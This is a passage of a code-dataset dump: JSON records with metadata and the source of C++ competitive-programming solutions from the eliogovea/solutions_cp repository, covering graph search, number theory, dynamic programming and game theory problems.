{\r\n\t\t\tcnt[j] += i;\r\n\t\t}\r\n\t}\r\n\tcin >> a >> b;\r\n\tint x = a;\r\n\tfor (int i = a + 1; i <= b; i++) {\r\n\t\tif (cnt[i] * x < cnt[x] * i) {\r\n\t\t\tx = i;\r\n\t\t}\r\n\t}\r\n\tcout << x << \"\\n\";\r\n}" }, { "alpha_fraction": 0.4010791480541229, "alphanum_fraction": 0.4208633005619049, "avg_line_length": 19.384614944458008, "blob_id": "4a0c8567ba635ad39753e8b164abf80dbd452165", "content_id": "8317c623a59261f3795f3ac7f9d5d7bc3ea79c3a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 556, "license_type": "no_license", "max_line_length": 48, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p2675-Accepted-s660355.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 100005;\r\n\r\nint N, M, K, a[MAXN], b[MAXN];\r\n\r\nint main() {\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tscanf(\"%d%d%d\", &N, &M, &K);\r\n\tfor (int i = 0; i < N; i++) scanf(\"%d\", a + i);\r\n\tfor (int i = 0; i < M; i++) scanf(\"%d\", b + i);\r\n\tsort(a, a + N);\r\n\tsort(b, b + M);\r\n\tint ans = 0;\r\n\tfor (int i = 0, j = 0; i < N && j < M; i++) {\r\n\t\tj = lower_bound(b + j, b + M, a[i] - K) - b;\r\n\t\tif (abs(a[i] - b[j]) <= K && j < M) {\r\n ans++;\r\n j++;\r\n\t\t}\r\n\t}\r\n\tprintf(\"%d\\n\", ans);\r\n}\r\n" }, { "alpha_fraction": 0.46929824352264404, "alphanum_fraction": 0.48355263471603394, "avg_line_length": 19.20930290222168, "blob_id": "4a6b918eb065e0a46a57e69278a4943ee93d0b73", "content_id": "4c9e880d1057f267826551f4aa83aca34fdf413e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 912, "license_type": "no_license", "max_line_length": 101, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p2739-Accepted-s587725.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <cmath>\r\n#include <vector>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nint n;\r\n\r\ndouble dist(int a, int b, int c, int d)\r\n{\r\n\treturn sqrt((a - c) * (a - c) + (b - d) * (b - d));\r\n}\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d\", &n);\r\n\tvector<pair<int, pair<int, int> > > v(n);\r\n\tfor (int i = 0, a, b, c; i < n; i++)\r\n\t{\r\n\t\tscanf(\"%d%d%d\", &a, &b, &c);\r\n\t\tv[i] = make_pair(a, make_pair(b, c));\r\n\t}\r\n\r\n\tint in, fn;\r\n\tscanf(\"%d%d\", &in, &fn);\r\n\r\n\tfor (int i = 0; i < n; i++)\r\n\t{\r\n\t\tif (v[i].first == in) swap(v[0], v[i]);\r\n\t\tif (v[i].first == fn) swap(v[n - 1], v[i]);\r\n\t}\r\n\r\n\tsort(++v.begin(), --v.end());\r\n\tdouble sol = 1e10;\r\n\tdo\r\n\t{\r\n\t\tdouble aux = 0.0;\r\n\t\tfor (int i = 1; i < n; i++)\r\n\t\t\taux += dist(v[i].second.first, v[i].second.second, v[i - 1].second.first, v[i - 1].second.second);\r\n\t\tsol = min(sol, aux);\r\n\t} while (next_permutation(++v.begin(), --v.end()));\r\n\tprintf(\"%.2lf\\n\", sol);\r\n}\r\n" }, { "alpha_fraction": 0.3952062427997589, "alphanum_fraction": 0.41137123107910156, "avg_line_length": 15.757009506225586, "blob_id": "2c6495eb12344eed2285bf5c7c6195f15951a64e", "content_id": "1ec63f66d7a090d705da44f7b23f76538bcba4c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1794, "license_type": "no_license", "max_line_length": 103, "num_lines": 107, "path": "/Codechef/CHEFEXQ.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 100 * 1000 + 10;\nconst int SQRTN = 400;\n\nint n, q;\nint a[N], sa[N];\nint lazy[SQRTN];\nvector <int> cv[SQRTN];\nvector <int> cnt[SQRTN];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tcin >> n >> q;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> a[i];\n\t\tsa[i] = a[i];\n\t\tif (i != 0) {\n\t\t\tsa[i] ^= sa[i - 1];\n\t\t}\n\t}\n\n\tint sqrtn = 1 + sqrt(n);\n\n\tfor (int i = 0; i < n; i += sqrtn) {\n\t\tint id = i / sqrtn;\n\t\tint j = min(n, i + sqrtn);\n\t\tcv[id].resize(j - i);\n\t\tint p = 0;\n\t\tfor (int x = i; x < j; x++) {\n\t\t\tcv[id][p] = sa[x];\n\t\t\tp++;\n\t\t}\n\t\tsort(cv[id].begin(), cv[id].end());\n\t}\n\twhile (q--) {\n\t\tint type;\n\t\tcin >> type;\n\n\t\tif (type == 1) {\n\t\t\t // update\n\t\t\tint p, x;\n\t\t\tcin >> p >> x;\n\t\t\tp--;\n\n\t\t\tint lazy_val = a[p] ^ x;\n\t\t\ta[p] = x;\n\n\t\t\tif ((p % sqrtn) != 0) {\n\t\t\t\twhile (p < n && (p % sqrtn) != 0) {\n\t\t\t\t\tsa[p] ^= lazy_val;\n\t\t\t\t\tp++;\n\t\t\t\t}\n\n\t\t\t\tint id = (p - 1) / sqrtn;\n\t\t\t\tint l = id * sqrtn;\n\t\t\t\tint r = p;\n\t\t\t\t\n\t\t\t\t// push lazy\n\t\t\t\tif (lazy[id]) {\n\t\t\t\t\tfor (int i = l; i < r; i++) {\n\t\t\t\t\t\tsa[i] ^= lazy[id];\n\t\t\t\t\t}\n\t\t\t\t\tlazy[id] = 0;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// rebuild\n\t\t\t\tint pos = 0;\n\t\t\t\tfor (int i = l; i < r; i++) {\n\t\t\t\t\tcv[id][pos] = sa[i];\n\t\t\t\t\tpos++;\n\t\t\t\t}\n\t\t\t\tsort(cv[id].begin(), cv[id].end());\n\t\t\t}\n\t\t\t\n\t\t\t// lazy update\n\t\t\twhile (p < n) {\n\t\t\t\tlazy[p / sqrtn] ^= lazy_val;\n\t\t\t\tp += sqrtn;\n\t\t\t}\n\n\t\t} else {\n\t\t\t// query\n\t\t\tint p, k;\n\t\t\tcin >> p >> k;\n\t\t\tp--;\n\t\t\tint ans = 0;\n\t\t\twhile (p >= 0 && (p % sqrtn) != sqrtn - 1) {\n\t\t\t\tif (sa[p] == (k ^ lazy[p / sqrtn])) {\n\t\t\t\t\tans++;\n\t\t\t\t}\n\t\t\t\tp--;\n\t\t\t}\n\t\t\twhile (p >= 0) {\n\t\t\t\tint id = p / sqrtn;\n\t\t\t\tint x = k ^ lazy[id];\n\t\t\t\tans += upper_bound(cv[id].begin(), cv[id].end(), x) - lower_bound(cv[id].begin(), cv[id].end(), x);\n\t\t\t\tp -= sqrtn;\n\t\t\t}\n\t\t\tcout << ans << \"\\n\";\n\t\t}\n\t}\n}\n\n" }, { "alpha_fraction": 0.3960280418395996, "alphanum_fraction": 0.42289718985557556, "avg_line_length": 18.224720001220703, "blob_id": "8d24c4e2622b3ec526a85f9053c057596e7ef7ab", "content_id": "95dc2abd6e5a106102440b039d7d4a7458cedab4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1712, "license_type": "no_license", "max_line_length": 85, "num_lines": 89, "path": "/Caribbean-Training-Camp-2018/Contest_3/Solutions/B3.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nconst int MAXN = 100100;\n\nconst int mod = 998244353;\n\nint add( int a, int b ){\n a += b;\n if( a >= mod ) a -= mod;\n return a;\n}\n\nint rest( int a, int b ){\n a -= b;\n if( a < 0 ) a += mod;\n return a;\n}\n\nint mult( int a, int b ){\n return (ll)a * b % mod;\n}\n\nint bpow( int b, int exp ){\n if( exp == 0 ) return 1;\n if( exp == 1 ) return b;\n int sol = bpow( b , exp/2 );\n sol = mult( sol, sol );\n if( exp & 1 ) sol = mult( sol , b );\n return sol;\n}\n\nint f[MAXN];\nvoid calc_fact( ll n ){\n f[0] = 1;\n for( int i = 1; i <= n; i++ ) f[i] = mult( f[i-1] , i );\n}\n\nint comb( int n, int k ){\n return mult( f[n] , bpow( mult( f[k] , f[n-k] ) , mod-2 ) );\n}\n\nint dn[MAXN];\nvoid calc_dn( int n ){\n dn[0] = 1;\n dn[1] = 0;\n\n for( int i = 2; i <= n; i++ ){\n dn[i] = mult( i , dn[i-1] );\n if( i & 1 ) dn[i] = rest( dn[i] , 1 );\n else dn[i] = add( dn[i] , 1 );\n }\n}\n\nbool prime( int n ){\n for( int i = 2; i * i <= n; i++ ){\n if( n % i == 0 ) return false;\n }\n return true;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\n int n; cin >> n;\n\n calc_fact(n);\n calc_dn(n);\n\n //cerr << bpow( 2 , 2 ) << '\\n';\n //return 0;\n\n int sol = 0;\n for( int k = 0; k <= n; k++ ){\n sol = add( sol , mult( comb( n , k ) , mult( dn[n-k] , bpow( 2 , n-k ) ) ) );\n //cerr << comb( n , k ) << ' ' << dn[n-k] << ' ' << bpow( 2 , n-k ) << '\\n';\n //cerr << mult( comb( n , k ) , mult( dn[n-k] , bpow( 2 , n-k ) ) ) << '\\n';\n }\n\n cout << sol << '\\n';\n\n //cerr << prime(mod) <<'\\n';\n}\n\n" }, { "alpha_fraction": 0.34408602118492126, "alphanum_fraction": 0.36648744344711304, "avg_line_length": 20.775510787963867, "blob_id": "4377546331327d9c80bbdfaef35031e7fbec01e9", "content_id": "92e22390ac9a9ba14d05a567a4857237f0aa5942", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1116, "license_type": "no_license", "max_line_length": 52, "num_lines": 49, "path": "/COJ/eliogovea-cojAC/eliogovea-p2889-Accepted-s617650.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cstdio>\r\n#include <vector>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nstring str;\r\n\r\ntypedef long long ll;\r\n\r\nint n, sol;\r\nconst int MAXN = 1000000;\r\nbool criba[MAXN + 5];\r\nvector<int> p, v;\r\n\r\n\r\nint main()\r\n{\r\n int a = 2, sum = 1;\r\n v.push_back(0);\r\n while (sum <= MAXN) {\r\n v.push_back(sum);\r\n sum += a++;\r\n }\r\n\r\n for (int i = 2; i * i <= MAXN; i++)\r\n if (!criba[i])\r\n for (int j = i * i; j <= MAXN; j += i)\r\n criba[j] = 1;\r\n for (int i = 3; i <= MAXN; i++)\r\n if (!criba[i]) p.push_back(i);\r\n while (cin >> n && n) {\r\n sol = 1;\r\n int a = n;\r\n while (n % 2 == 0) n /= 2;\r\n for (int i = 0; p[i] * p[i] <= n; i++)\r\n if (n % p[i] == 0) {\r\n int cant = 0;\r\n while (n % p[i] == 0) {\r\n n /= p[i];\r\n cant++;\r\n }\r\n sol *= (cant + 1);\r\n }\r\n if (n > 1) sol *= 2;\r\n sol -= binary_search(v.begin(), v.end(), a);\r\n cout << sol << endl;\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3866666555404663, "alphanum_fraction": 0.41333332657814026, "avg_line_length": 14.071428298950195, "blob_id": "e2c38ff5e32e6ad0fd66c204de33e0d803fb97c9", "content_id": "901e7a42a1ecf6524b998b3bfd56060665199852", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 675, "license_type": "no_license", "max_line_length": 55, "num_lines": 42, "path": "/COJ/eliogovea-cojAC/eliogovea-p1682-Accepted-s1054758.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 10 * 1000;\r\n\r\nint t, n, v;\r\n\r\nint grundy[N + 5];\r\nint used[N + 5];\r\n\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tgrundy[0] = 0;\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tfor (int c = 1; c <= 3; c++) {\r\n\t\t\tif (c <= i) {\r\n\t\t\t\tfor (int x = 0; x <= i - c - x; x++) {\r\n\t\t\t\t\tused[grundy[x] ^ grundy[i - c - x]] = i;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tgrundy[i] = 0;\r\n\t\twhile (used[grundy[i]] == i) {\r\n\t\t\tgrundy[i]++;\r\n\t\t}\r\n\t}\r\n\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tint xorSum = 0;\r\n\t\twhile (n--) {\r\n\t\t\tcin >> v;\r\n\t\t\txorSum ^= grundy[v];\r\n\t\t}\r\n\t\tcout << ((xorSum != 0) ? \"MIRKO\" : \"SLAVKO\") << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.29719263315200806, "alphanum_fraction": 0.31848984956741333, "avg_line_length": 25.91891860961914, "blob_id": "c9a7c1b7828c8d8bc1c37ad8e686d544ab17b1e3", "content_id": "7e0df04fc56b8c1e746ca2c0737ca6dbad22ddd3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1033, "license_type": "no_license", "max_line_length": 73, "num_lines": 37, "path": "/COJ/eliogovea-cojAC/eliogovea-p2885-Accepted-s617652.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 110;\r\n\r\nint n, m, col[MAXN], G[MAXN][MAXN];\r\n\r\nint main() {\r\n while (scanf(\"%d%d\", &n, &m) && n | m) {\r\n for (int i = 0; i < n; i++)\r\n scanf(\"%d\", &col[i]);\r\n\r\n for (int i = 0; i < n; i++)\r\n for (int j = 0; j < n; j++) G[i][j] = (i != j) ? 1 << 29 : 0;\r\n\r\n for (int i = 0, a, b; i < m; i++) {\r\n scanf(\"%d%d\", &a, &b);\r\n a--; b--;\r\n if (col[a] != col[b]) G[a][b] = G[b][a] = 1;\r\n else G[a][b] = G[b][a] = 0;\r\n }\r\n\r\n for (int k = 0; k < n; k++)\r\n for (int i = 0; i < n; i++)\r\n for (int j = 0; j < n; j++)\r\n G[i][j] = G[j][i] = min(G[i][j], G[i][k] + G[j][k]);\r\n\r\n int sol = 1 << 29;\r\n for (int i = 0; i < n; i++) {\r\n int mx = -1;\r\n for (int j = 0; j < n; j++) mx = max(mx, G[i][j]);\r\n sol = min(sol, mx);\r\n }\r\n printf(\"%d\\n\", sol);\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.32838284969329834, "alphanum_fraction": 0.34818482398986816, "avg_line_length": 19.64285659790039, "blob_id": "c0f2de4459907263bd350999133b9184e881888c", "content_id": "15a2e0ce23278c2a6e2c1529f10ae186fdd1a29e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 606, "license_type": "no_license", "max_line_length": 51, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p2263-Accepted-s575683.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\nusing namespace std;\r\n\r\nint c;\r\nchar s[110];\r\n\r\nint main()\r\n{\r\n for( scanf( \"%d\", &c ); c--; )\r\n {\r\n scanf( \"%s\", s );\r\n int i = 0, player = 0, mx[2] = {0, 0};\r\n while( true )\r\n {\r\n if( !s[i] ) break;\r\n int cont = 0;\r\n while( s[i] == ':' ) i++, cont++;\r\n while( s[i] == ')' ) i++, cont++;\r\n if( cont > mx[player] )\r\n mx[player] = cont;\r\n player = 1 - player;\r\n }\r\n\r\n if( mx[0] > mx[1] ) printf( \"Jennifer\\n\" );\r\n else printf( \"Alan\\n\" );\r\n }\r\n\r\n}\r\n" }, { "alpha_fraction": 0.3654211461544037, "alphanum_fraction": 0.3882203996181488, "avg_line_length": 23.88524627685547, "blob_id": "c55b4cedd2ff2b042bfa0b9b2f092ebbb8901230", "content_id": "fbf3a6b857b70953a4125ab69504506b16b3da8b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1579, "license_type": "no_license", "max_line_length": 92, "num_lines": 61, "path": "/COJ/eliogovea-cojAC/eliogovea-p2384-Accepted-s655423.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <queue>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 55, inf = 1 << 29;\r\nconst int dx[] = {1, 0, -1, 0};\r\nconst int dy[] = {0, 1, 0, -1};\r\n\r\nint tc, n, m, I, J;\r\nchar M[MAXN][MAXN];\r\nint dist[MAXN][MAXN];\r\nqueue<int> Q;\r\n\r\nint nexti[4][MAXN][MAXN], nextj[4][MAXN][MAXN];\r\n\r\nint main() {\r\n\tscanf(\"%d\", &tc);\r\n\twhile (tc--) {\r\n\t\tscanf(\"%d%d\", &n, &m);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tscanf(\"%s\", M[i]);\r\n\t\t\tfor (int j = 0; j < m; j++)\r\n\t\t\t\tif (M[i][j] == 'F') dist[i][j] = 0, I = i, J = j;\r\n\t\t\t\telse dist[i][j] = inf;\r\n\t\t}\r\n\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tfor (int j = 0; j < m; j++)\r\n\t\t\t\tif (M[i][j] == 'F' || M[i][j] == '.')\r\n\t\t\t\t\tfor (int d = 0; d < 4; d++) {\r\n\t\t\t\t\t\tint ii = i + dx[d], jj = j + dy[d];\r\n\t\t\t\t\t\twhile (ii >= 0 && ii < n && jj >= 0 && jj < m && M[ii][jj] != '.' && M[ii][jj] != 'F')\r\n\t\t\t\t\t\t\tii += dx[d], jj += dy[d];\r\n\t\t\t\t\t\tif (ii >= 0 && ii < n && jj >= 0 && jj < m)\r\n\t\t\t\t\t\t\tnexti[d][i][j] = ii, nextj[d][i][j] = jj;\r\n\t\t\t\t\t\telse nexti[d][i][j] = -1, nextj[d][i][j] = -1;\r\n\t\t\t\t\t}\r\n\r\n\t\tQ.push(I); Q.push(J);\r\n\t\twhile (!Q.empty()) {\r\n\t\t\tI = Q.front(); Q.pop();\r\n\t\t\tJ = Q.front(); Q.pop();\r\n\t\t\tfor (int d = 0; d < 4; d++) {\r\n\t\t\t\tif (nexti[d][I][J] != -1) {\r\n\t\t\t\t\tint ii = nexti[d][I][J];\r\n\t\t\t\t\tint jj = nextj[d][I][J];\r\n\t\t\t\t\tif (dist[ii][jj] > dist[I][J] + 1) {\r\n\t\t\t\t\t\tdist[ii][jj] = dist[I][J] + 1;\r\n\t\t\t\t\t\tQ.push(ii), Q.push(jj);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tint mx = -1;\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tfor (int j = 0; j < m; j++)\r\n\t\t\t\tif (dist[i][j] != inf && dist[i][j] > mx) mx = dist[i][j];\r\n\t\tprintf(\"%d\\n\", mx);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3462432324886322, "alphanum_fraction": 0.3586367070674896, "avg_line_length": 21.399999618530273, "blob_id": "bef7e9e2cbc595c5c61bfa68d2d4ed4f90c9381e", "content_id": "2b935908967f52e89d8ddf6cf48b438faaad41fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1291, "license_type": "no_license", "max_line_length": 58, "num_lines": 55, "path": "/COJ/eliogovea-cojAC/eliogovea-p1527-Accepted-s543384.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": " #include<cstdio>\r\n #include<queue>\r\n #include<vector>\r\n #include<algorithm>\r\n #define MAXN 110\r\n using namespace std;\r\n\r\n typedef vector<int>::iterator vit;\r\n\r\n vector<int> G[MAXN];\r\n int dist[MAXN],n,m,maxdist;\r\n queue<int> Q;\r\n\r\n vector<int> D[MAXN];\r\n\r\n int main()\r\n {\r\n scanf(\"%d%d\",&n,&m);\r\n\r\n for(int i=1,x; i<=n; i++)\r\n {\r\n dist[i]=1<<29;\r\n for(int j=1; j<=n; j++)\r\n {\r\n scanf(\"%d\",&x);\r\n if(x)G[i].push_back(j);\r\n }\r\n }\r\n\r\n Q.push(m);\r\n dist[m]=0;\r\n while(!Q.empty())\r\n {\r\n int x=Q.front();\r\n Q.pop();\r\n for(vit it=G[x].begin(); it!=G[x].end(); it++)\r\n if(dist[*it]>dist[x]+1)\r\n dist[*it]=dist[x]+1,\r\n maxdist=max(maxdist,dist[*it]),\r\n Q.push(*it);\r\n }\r\n\r\n for(int i=1; i<=n; i++)\r\n if(dist[i]<=maxdist)\r\n D[dist[i]].push_back(i);\r\n\r\n printf(\"%d\\n\",m);\r\n\r\n for(int i=1; i<=maxdist; i++)\r\n {\r\n for(int j=0; j<D[i].size()-1; j++)\r\n printf(\"%d \",D[i][j]);\r\n printf(\"%d\\n\",D[i][D[i].size()-1]);\r\n }\r\n }\r\n" }, { "alpha_fraction": 0.322088360786438, "alphanum_fraction": 0.36947789788246155, "avg_line_length": 18.409835815429688, "blob_id": "42e9d095a92d1086601cf4797025fa40f16e2a25", "content_id": "67c7f31de5a01dcde293a09a81264e18c3b0bdc2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1245, "license_type": "no_license", "max_line_length": 62, "num_lines": 61, "path": "/COJ/eliogovea-cojAC/eliogovea-p3272-Accepted-s868998.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 20;\r\n\r\nint t;\r\ndouble pv, pm;\r\ndouble dp[N + 5][N + 5][N + 5];\r\n\r\nbool primo(int n) {\r\n\tfor (int i = 2; i < n; i++) {\r\n\t\tif (n % i == 0) return false;\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nbool p[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tfor (int i = 2; i <= N; i++) {\r\n\t\tp[i] = primo(i);\r\n\t}\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> pv >> pm;;\r\n\t\tpv /= 100.0;\r\n\t\tpm /= 100.0;\r\n\t\tfor (int i = 0; i <= N; i++) {\r\n\t\t\tfor (int j = 0; j <= N; j++) {\r\n\t\t\t\tfor (int k = 0; k <= N; k++) {\r\n\t\t\t\t\tdp[i][j][k] = 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tdp[0][0][0] = 1.0;\r\n\t\tfor (int i = 0; i < 18; i++) {\r\n\t\t\tfor (int j = 0; j <= i; j++) {\r\n\t\t\t\tfor (int k = 0; k <= i; k++) {\r\n\t\t\t\t\tdp[i + 1][j][k] += dp[i][j][k] * (1.0 - pv) * (1.0 - pm);\r\n\t\t\t\t\tdp[i + 1][j + 1][k] += dp[i][j][k] * pv * (1.0 - pm);\r\n\t\t\t\t\tdp[i + 1][j][k + 1] += dp[i][j][k] * (1.0 - pv) * pm;\r\n\t\t\t\t\tdp[i + 1][j + 1][k + 1] += dp[i][j][k] * pv * pm;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tdouble ans = 0.0;\r\n\t\tfor (int i = 0; i <= 18; i++) {\r\n\t\t\tfor (int j = 0; j <= 18; j++) {\r\n\t\t\t\tif (p[i] || p[j]) {\r\n\t\t\t\t\tans += dp[18][i][j];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout.precision(10);\r\n\t\tcout << fixed << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.2809334993362427, "alphanum_fraction": 0.31483927369117737, "avg_line_length": 22.412370681762695, "blob_id": "5be4aa18a5ca7e03b56acf25a8d3ebd103d45d70", "content_id": "cce40b387a1d89996bb274519888a833f77e61b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2271, "license_type": "no_license", "max_line_length": 120, "num_lines": 97, "path": "/Codeforces-Gym/101147 - 2016-2017 ACM-ICPC, Egyptian Collegiate Programming Contest (ECPC 16)/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC, Egyptian Collegiate Programming Contest (ECPC 16)\n// 101147H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct data{\n int f, x, y;\n data(){}\n data( int ff, int xx, int yy ){\n f = ff;\n x = xx;\n y = yy;\n }\n};\n\nint dp[12][12][12];\nint h[12][12][12];\nbool mk[12][12][12];\n\nbool ok( int f, int x, int y ){\n return ( f > 0 && f <= 10 && x > 0 && x <= 10 && y > 0 && y <= 10 );\n}\n\nint bfs(){\n dp[10][1][1] = h[10][1][1];\n mk[10][1][1] = true;\n\n queue<data> q;\n q.push( data( 10 , 1 , 1 ) );\n\n while( !q.empty() ){\n data u = q.front(); q.pop();\n\n data v = u;\n v.x++;\n if( ok( v.f , v.x , v.y ) ){\n dp[ v.f ][ v.x ][ v.y ] = max( dp[ v.f ][ v.x ][ v.y ] , dp[ u.f ][ u.x ][ u.y ] + h[ v.f ][ v.x ][ v.y ] );\n if( !mk[ v.f ][ v.x ][ v.y ] ){\n q.push( v );\n mk[ v.f ][ v.x ][ v.y ] = true;\n }\n }\n\n v = u;\n v.y++;\n if( ok( v.f , v.x , v.y ) ){\n dp[ v.f ][ v.x ][ v.y ] = max( dp[ v.f ][ v.x ][ v.y ] , dp[ u.f ][ u.x ][ u.y ] + h[ v.f ][ v.x ][ v.y ] );\n if( !mk[ v.f ][ v.x ][ v.y ] ){\n q.push( v );\n mk[ v.f ][ v.x ][ v.y ] = true;\n }\n }\n\n v = u;\n v.f--;\n if( ok( v.f , v.x , v.y ) ){\n dp[ v.f ][ v.x ][ v.y ] = max( dp[ v.f ][ v.x ][ v.y ] , dp[ u.f ][ u.x ][ u.y ] + h[ v.f ][ v.x ][ v.y ] );\n if( !mk[ v.f ][ v.x ][ v.y ] ){\n q.push( v );\n mk[ v.f ][ v.x ][ v.y ] = true;\n }\n }\n }\n\n return dp[1][10][10];\n}\n\nint main()\n{\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n freopen(\"commandos.in\",\"r\",stdin);\n\n int tc; cin >> tc;\n\n while( tc-- ){\n for( int i = 0; i < 12; i++ ){\n for( int j = 0; j < 12; j++ ){\n for( int k = 0; k < 12; k++ ){\n h[i][j][k] = dp[i][j][k] = 0;\n mk[i][j][k] = false;\n }\n }\n }\n\n int n; cin >> n;\n for( int i = 0; i < n; i++ ){\n int f, x, y, hh; cin >> f >> x >> y >> hh;\n h[f][x][y] += hh;\n }\n\n cout << bfs() << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.4451313614845276, "alphanum_fraction": 0.46213293075561523, "avg_line_length": 14.973684310913086, "blob_id": "b5aea89df92f5aa9003b5e8da3ec6e01235dfee0", "content_id": "f3f8a9a4d63b5a9703ff0d4530375a261b59380d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 647, "license_type": "no_license", "max_line_length": 44, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p2955-Accepted-s670168.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\n#define sf scanf\r\n#define pf printf\r\n\r\ntypedef long long LL;\r\n\r\nLL find(LL x) {\r\n\tif (x == 0LL) return 0LL;\r\n\tLL k = 0LL;\r\n\twhile (true) {\r\n\t\tLL tmp = (1LL) << k;\r\n\t\ttmp *= tmp;\r\n\t\tif (tmp > x) break;\r\n\t\tk++;\r\n\t}\r\n\tk--;\r\n\tLL tmp = (1LL) << k;\r\n\tLL ret = (x - tmp * tmp + 1LL) * tmp;\r\n\tfor (k--; k >= 0LL; k--) {\r\n\t\ttmp = (1LL) << (3LL * k);\r\n\t\ttmp *= 3LL;\r\n\t\tret += tmp;\r\n\t}\r\n\treturn ret;\r\n}\r\nint main() {//freopen(\"dat.in\",\"r\",stdin);\r\n\tLL tc;\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tLL lo, hi;\r\n\t\tcin >> lo >> hi;\r\n\t\tif (lo > hi) swap(lo, hi);\r\n\t\tcout << find(hi) - find(lo - 1LL) << \"\\n\";\r\n\t}\r\n}\r\n\r\n" }, { "alpha_fraction": 0.357421875, "alphanum_fraction": 0.375, "avg_line_length": 16.962963104248047, "blob_id": "8cef8445fdea0123cb9e34fcb178279a896c41dd", "content_id": "3fc64e2354ca8e39c2a9c403036850cd751c82dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 512, "license_type": "no_license", "max_line_length": 38, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p2642-Accepted-s537255.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<algorithm>\r\nusing namespace 